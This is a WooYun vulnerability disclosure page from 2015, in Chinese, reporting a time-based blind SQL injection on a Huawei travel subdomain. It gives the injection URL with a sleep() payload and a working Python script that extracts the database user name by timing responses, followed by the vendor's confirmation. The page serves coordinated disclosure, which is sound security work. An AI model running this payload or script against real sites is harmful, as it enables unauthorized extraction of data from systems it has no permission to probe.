当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-097739

漏洞标题：华为爱旅某站盲注<附验证脚本>

相关厂商：华为技术有限公司

漏洞作者： BMa

提交时间：2015-02-23 10:13

修复时间：2015-04-13 16:58

公开时间：2015-04-13 16:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：11

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-23： 细节已通知厂商并且等待厂商处理中
2015-02-23： 厂商已经确认，细节仅向厂商公开
2015-03-05： 细节向核心白帽子及相关领域专家公开
2015-03-15： 细节向普通白帽子公开
2015-03-25： 细节向实习白帽子公开
2015-04-13： 细节向公众公开

简要描述：

华为爱旅某站盲注<附验证脚本>
大年夜挖洞

详细说明：

华为爱旅：http://www.hwtrip.com/
问题站点：pj.hwtrip.com

0.png


注入点：http://pj.hwtrip.com/product/detail/id/(select(0)from(select(sleep(abs(ascii(mid(lower(user()),9,1))-115))))v)#
sleep(0)

1.png


sleep(5)

2.png


sleep(10)

3.png


数据库版本：5.5.14g
user():hwtrip@ws**<网速不给力，不想深入>

4.png


漏洞证明：

附脚本：

#encoding=gbk
import httplib
import time
import urllib
headers = {
    'Cookie': '',
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,20):
    for payload in payloads:
        try:
            conn = httplib.HTTPConnection('pj.hwtrip.com', timeout=60)
            s = '(select(0)from(select(sleep(abs(ascii(mid(lower(user()),%d,1))-%d))))v)#' % (i, ord(payload))
            conn.request(method='GET',
                         url='/product/detail/id/' + s,
                         headers=headers)
            start_time = time.time()
            conn.getresponse().read().decode('utf-8')
            if time.time() - start_time < 1.0:
                user += payload
                print '\n[in progress]', user
                break
            else:
                print '.'
        except:
            break
print '\nMySQL user is', user

修复方案：

版权声明：转载请注明来源 BMa@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-02-23 11:15

厂商回复：

再次感谢BMa反馈的问题，以及对华为公司安全的关注。

最新状态：

暂无

漏洞评价：

评论